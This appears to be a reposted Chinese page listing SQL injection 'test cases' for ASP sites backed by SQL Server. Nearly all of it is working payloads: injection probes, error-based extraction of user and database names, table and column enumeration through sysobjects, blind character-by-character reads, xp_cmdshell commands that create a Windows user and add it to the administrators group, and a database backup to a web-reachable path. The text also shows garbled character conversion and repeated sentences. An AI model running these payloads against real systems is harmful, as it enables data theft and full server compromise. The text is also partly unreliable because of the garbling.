天天看點

ASP+SQL Server SQL 注入攻擊測試用例

說明

Night--

Night’ and 1=1--

Night’ and 1=2--

判斷是否存在注入漏洞。SQL Server中的行注釋符号為”--”

URL;and user>0--

User 是SQL Server的一個内置變量,它的值是目前連接配接的使用者名,資料類型為nvarchar。它的值是目前連接配接的使用者名,資料類型為nvarchar。用nvarchar類型與int類型比較會引起錯誤,而SQL Server在傳回的錯誤資訊中往往會暴露出user的值;将nvarchar值“XXX”轉換資料類型為int的列時發生文法錯誤。

URL;and db_name()>0--

URL;and (select count(*) from sysobjects)>0—

msysobjects是Access 資料庫的系統表,sysobjects是SQL Server的系統表。通過這兩次攻擊嘗試,可以從伺服器的回報中辨識出伺服器使用的資料庫類型.

URL;and (select count(*) from msysobjects)>0--

Night’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的數目--

測試資料庫中有多少使用者自己建立的表,sysobjects中存放着資料庫内所有表的表名,列名等資訊。xtype=’U’ and status>0 表示隻檢索使用者建立的表名

Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 )>0--

獲得第一個表的名字

Night’ and (select  top 1 name from sysobjects where Xtype=’U’ and status>0 and name!=’第一個表名’)>0--

通過類似的方式可以獲得其他表名

Night’ and (Select Top lcol_name(object_id(‘表名’),1) from sysobjects)>0--

通過sysobjects獲得列名

Night’ and (select top 1 len(列名) from 表名)>0--

獲得列名長度

Night’ and (select top 1 asc(mid(列名,1,1)) from 表名)>0--

逐字讀出列名的每一個字元,通常使用者沒有報錯傳回的盲注

URL;exec master..xp_cmdshell  “net user 使用者名和密碼” /add

利用存儲過程xp_cmdshell在伺服器主機上添加使用者

URL;exec master..xp_cmdshell  “net localgroup administrators 使用者名 /add”--

将添加的使用者加入管理者組

URL;backup database 資料庫名 to disk=’路徑’;--

利用存儲過程将資料庫備份到可以通過HTTP通路到得目錄下,或者也可通過網絡進行遠端備份

最新内容請見作者的GitHub頁:http://qaseven.github.io/